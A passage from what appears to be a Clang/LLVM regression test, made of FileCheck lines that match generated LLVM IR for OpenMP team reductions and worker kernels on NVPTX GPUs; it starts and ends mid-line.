x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK5-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK5-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP17]], i32 [[TMP5]] // CHECK5-NEXT: [[TMP19:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK5-NEXT: store i32 [[TMP19]], i32* [[TMP18]], align 4 // CHECK5-NEXT: br label [[IFCONT6:%.*]] // CHECK5: else5: // CHECK5-NEXT: br label [[IFCONT6]] // CHECK5: ifcont6: // CHECK5-NEXT: [[TMP20:%.*]] = add nsw i32 [[TMP5]], 1 // CHECK5-NEXT: store i32 [[TMP20]], i32* [[DOTCNT_ADDR]], align 4 // CHECK5-NEXT: br label [[PRECOND]] // CHECK5: exit: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK5-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK5-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP12:%.*]] = load double, double* [[TMP10]], align 8 // CHECK5-NEXT: store double [[TMP12]], double* [[TMP11]], align 128 // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK5-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP9]], i8* [[TMP10]]) #[[ATTR3]] // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK5-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK5-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP12:%.*]] = load double, double* [[TMP11]], align 128 // CHECK5-NEXT: store double [[TMP12]], double* [[TMP10]], align 8 // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK5-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP10]], i8* [[TMP9]]) #[[ATTR3]] // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29_worker // CHECK5-SAME: () #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[WORK_FN:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[EXEC_STATUS:%.*]] = alloca i8, align 1 // CHECK5-NEXT: store i8* null, i8** [[WORK_FN]], align 4 // CHECK5-NEXT: store i8 0, i8* [[EXEC_STATUS]], align 1 // CHECK5-NEXT: br label [[DOTAWAIT_WORK:%.*]] // CHECK5: .await.work: // CHECK5-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK5-NEXT: [[TMP0:%.*]] = call i1 @__kmpc_kernel_parallel(i8** [[WORK_FN]]) // CHECK5-NEXT: [[TMP1:%.*]] = zext i1 [[TMP0]] to i8 // CHECK5-NEXT: store i8 [[TMP1]], i8* [[EXEC_STATUS]], align 1 // CHECK5-NEXT: [[TMP2:%.*]] = load i8*, i8** [[WORK_FN]], align 4 // CHECK5-NEXT: [[SHOULD_TERMINATE:%.*]] = icmp eq i8* [[TMP2]], null // CHECK5-NEXT: br i1 [[SHOULD_TERMINATE]], label [[DOTEXIT:%.*]], label [[DOTSELECT_WORKERS:%.*]] // CHECK5: .select.workers: // CHECK5-NEXT: [[TMP3:%.*]] = load i8, i8* [[EXEC_STATUS]], align 1 // CHECK5-NEXT: [[IS_ACTIVE:%.*]] = icmp ne i8 [[TMP3]], 0 // CHECK5-NEXT: br i1 [[IS_ACTIVE]], label [[DOTEXECUTE_PARALLEL:%.*]], label [[DOTBARRIER_PARALLEL:%.*]] // CHECK5: .execute.parallel: // CHECK5-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP2]] to void (i16, i32)* // CHECK5-NEXT: call void [[TMP5]](i16 0, i32 [[TMP4]]) // CHECK5-NEXT: br label [[DOTTERMINATE_PARALLEL:%.*]] // CHECK5: .terminate.parallel: // CHECK5-NEXT: call void @__kmpc_kernel_end_parallel() // CHECK5-NEXT: br label [[DOTBARRIER_PARALLEL]] // CHECK5: .barrier.parallel: // CHECK5-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK5-NEXT: br label [[DOTAWAIT_WORK]] // CHECK5: .exit: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29 // CHECK5-SAME: (i32 [[C:%.*]], i32 [[D:%.*]]) #[[ATTR1]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[C_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[D_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK5-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK5-NEXT: store i32 [[C]], i32* [[C_ADDR]], align 4 // CHECK5-NEXT: store i32 [[D]], i32* [[D_ADDR]], align 4 // CHECK5-NEXT: [[CONV:%.*]] = bitcast i32* [[C_ADDR]] to i8* // CHECK5-NEXT: [[CONV1:%.*]] = bitcast i32* [[D_ADDR]] to float* // CHECK5-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[THREAD_LIMIT:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS]], [[NVPTX_WARP_SIZE]] // CHECK5-NEXT: [[TMP0:%.*]] = icmp ult i32 [[NVPTX_TID]], [[THREAD_LIMIT]] // CHECK5-NEXT: br i1 [[TMP0]], label [[DOTWORKER:%.*]], label [[DOTMASTERCHECK:%.*]] // CHECK5: .worker: // CHECK5-NEXT: call void @{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29_worker() #[[ATTR3]] // CHECK5-NEXT: br label [[DOTEXIT:%.*]] // CHECK5: .mastercheck: // CHECK5-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_NUM_THREADS3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: [[NVPTX_WARP_SIZE4:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP1:%.*]] = sub nuw i32 [[NVPTX_WARP_SIZE4]], 1 // CHECK5-NEXT: [[TMP2:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS3]], 1 // CHECK5-NEXT: [[TMP3:%.*]] = xor i32 [[TMP1]], -1 // CHECK5-NEXT: [[MASTER_TID:%.*]] = and i32 [[TMP2]], [[TMP3]] // CHECK5-NEXT: [[TMP4:%.*]] = icmp eq i32 [[NVPTX_TID2]], [[MASTER_TID]] // CHECK5-NEXT: br i1 [[TMP4]], label [[DOTMASTER:%.*]], label [[DOTEXIT]] // CHECK5: .master: // CHECK5-NEXT: [[NVPTX_NUM_THREADS5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: [[NVPTX_WARP_SIZE6:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[THREAD_LIMIT7:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS5]], [[NVPTX_WARP_SIZE6]] // CHECK5-NEXT: call void @__kmpc_kernel_init(i32 [[THREAD_LIMIT7]], i16 1) // CHECK5-NEXT: call void @__kmpc_data_sharing_init_stack() // CHECK5-NEXT: [[TMP5:%.*]] = call i8* @__kmpc_data_sharing_push_stack(i32 8, i16 1) // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK5-NEXT: [[TMP7:%.*]] = load i8, i8* [[CONV]], align 4 // CHECK5-NEXT: [[C8:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK5-NEXT: store i8 [[TMP7]], i8* [[C8]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = load float, float* [[CONV1]], align 4 // CHECK5-NEXT: [[D9:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: store float [[TMP8]], float* [[D9]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK5-NEXT: store i32 [[TMP9]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK5-NEXT: call void @__omp_outlined__1(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i8* [[C8]], float* [[D9]]) #[[ATTR3]] // CHECK5-NEXT: call void @__kmpc_data_sharing_pop_stack(i8* [[TMP5]]) // CHECK5-NEXT: br label [[DOTTERMINATION_NOTIFIER:%.*]] // CHECK5: .termination.notifier: // CHECK5-NEXT: call void @__kmpc_kernel_deinit(i16 1) // CHECK5-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK5-NEXT: br label [[DOTEXIT]] // CHECK5: .exit: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@__omp_outlined__1 // CHECK5-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i8* nonnull align 1 dereferenceable(1) [[C:%.*]], float* nonnull align 4 dereferenceable(4) [[D:%.*]]) #[[ATTR1]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[C_ADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[D_ADDR:%.*]] = alloca float*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK5-NEXT: store i8* [[C]], i8** [[C_ADDR]], align 4 // CHECK5-NEXT: store float* [[D]], float** [[D_ADDR]], align 4 // CHECK5-NEXT: [[TMP0:%.*]] = load i8*, i8** [[C_ADDR]], align 4 // CHECK5-NEXT: [[TMP1:%.*]] = load float*, float** [[D_ADDR]], align 4 // CHECK5-NEXT: [[TMP2:%.*]] = call i8* @__kmpc_data_sharing_push_stack(i32 8, i16 1) // CHECK5-NEXT: [[TMP3:%.*]] = bitcast i8* [[TMP2]] to %struct._globalized_locals_ty.2* // CHECK5-NEXT: [[C1:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_2:%.*]], %struct._globalized_locals_ty.2* [[TMP3]], i32 0, i32 1 // CHECK5-NEXT: [[D2:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_2]], %struct._globalized_locals_ty.2* [[TMP3]], i32 0, i32 0 // CHECK5-NEXT: store i8 0, i8* [[C1]], align 4 // CHECK5-NEXT: store float 1.000000e+00, float* [[D2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = load i8, i8* [[C1]], align 4 // CHECK5-NEXT: [[CONV:%.*]] = sext i8 [[TMP4]] to i32 // CHECK5-NEXT: [[XOR:%.*]] = xor i32 [[CONV]], 2 // CHECK5-NEXT: [[CONV3:%.*]] = trunc i32 [[XOR]] to i8 // CHECK5-NEXT: store i8 [[CONV3]], i8* [[C1]], align 4 // CHECK5-NEXT: [[TMP5:%.*]] = load float, float* [[D2]], align 4 // CHECK5-NEXT: [[MUL:%.*]] = fmul float [[TMP5]], 3.300000e+01 // CHECK5-NEXT: store float [[MUL]], float* [[D2]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: store i8* [[C1]], i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast float* [[D2]] to i8* // CHECK5-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP12:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK5-NEXT: [[TMP13:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP7]], i8* [[TMP12]], i32 1024, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func3, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func4, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func5, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func6, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func7, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func8) // CHECK5-NEXT: [[TMP14:%.*]] = icmp eq i32 [[TMP13]], 1 // CHECK5-NEXT: br i1 [[TMP14]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK5: .omp.reduction.then: // CHECK5-NEXT: [[TMP15:%.*]] = load i8, i8* [[TMP0]], align 1 // CHECK5-NEXT: [[CONV4:%.*]] = sext i8 [[TMP15]] to i32 // CHECK5-NEXT: [[TMP16:%.*]] = load i8, i8* [[C1]], align 4 // CHECK5-NEXT: [[CONV5:%.*]] = sext i8 [[TMP16]] to i32 // CHECK5-NEXT: [[XOR6:%.*]] = xor i32 [[CONV4]], [[CONV5]] // CHECK5-NEXT: [[CONV7:%.*]] = trunc i32 [[XOR6]] to i8 // CHECK5-NEXT: store i8 [[CONV7]], i8* [[TMP0]], align 1 // CHECK5-NEXT: [[TMP17:%.*]] = load float, float* [[TMP1]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = load float, float* [[D2]], align 4 // CHECK5-NEXT: [[MUL8:%.*]] = fmul float [[TMP17]], [[TMP18]] // CHECK5-NEXT: store float [[MUL8]], float* [[TMP1]], align 4 // CHECK5-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK5-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK5: .omp.reduction.done: // CHECK5-NEXT: call void @__kmpc_data_sharing_pop_stack(i8* [[TMP2]]) // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func3 // CHECK5-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i8, align 1 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca float, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK5-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP12:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK5-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP10]], align 1 // CHECK5-NEXT: [[TMP14:%.*]] = sext i8 [[TMP13]] to i32 // CHECK5-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP15:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK5-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP14]], i16 [[TMP7]], i16 [[TMP15]]) // CHECK5-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i8 // CHECK5-NEXT: store i8 [[TMP17]], i8* [[DOTOMP_REDUCTION_ELEMENT]], align 1 // CHECK5-NEXT: [[TMP18:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK5-NEXT: [[TMP19:%.*]] = getelementptr i8, i8* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK5-NEXT: store i8* [[DOTOMP_REDUCTION_ELEMENT]], i8** [[TMP11]], align 4 // CHECK5-NEXT: [[TMP20:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK5-NEXT: [[TMP21:%.*]] = load i8*, i8** [[TMP20]], align 4 // CHECK5-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP23:%.*]] = bitcast i8* [[TMP21]] to float* // CHECK5-NEXT: [[TMP24:%.*]] = getelementptr float, float* [[TMP23]], i32 1 // CHECK5-NEXT: [[TMP25:%.*]] = bitcast float* [[TMP24]] to i8* // CHECK5-NEXT: [[TMP26:%.*]] = bitcast float* [[TMP23]] to i32* // CHECK5-NEXT: [[TMP27:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i32* // CHECK5-NEXT: [[TMP28:%.*]] = load i32, i32* [[TMP26]], align 4 // CHECK5-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK5-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK5-NEXT: store i32 [[TMP30]], i32* [[TMP27]], align 4 // CHECK5-NEXT: [[TMP31:%.*]] = getelementptr i32, i32* [[TMP26]], i32 1 // CHECK5-NEXT: [[TMP32:%.*]] = getelementptr i32, i32* [[TMP27]], i32 1 // CHECK5-NEXT: [[TMP33:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK5-NEXT: store i8* [[TMP33]], i8** [[TMP22]], align 4 // CHECK5-NEXT: [[TMP34:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK5-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP36:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP37:%.*]] = and i1 [[TMP35]], [[TMP36]] // CHECK5-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK5-NEXT: [[TMP39:%.*]] = and i16 [[TMP6]], 1 // CHECK5-NEXT: [[TMP40:%.*]] = icmp eq i16 [[TMP39]], 0 // CHECK5-NEXT: [[TMP41:%.*]] = and i1 [[TMP38]], [[TMP40]] // CHECK5-NEXT: [[TMP42:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK5-NEXT: [[TMP43:%.*]] = and i1 [[TMP41]], [[TMP42]] // CHECK5-NEXT: [[TMP44:%.*]] = or i1 [[TMP34]], [[TMP37]] // CHECK5-NEXT: [[TMP45:%.*]] = or i1 [[TMP44]], [[TMP43]] // CHECK5-NEXT: br i1 [[TMP45]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP46:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK5-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* 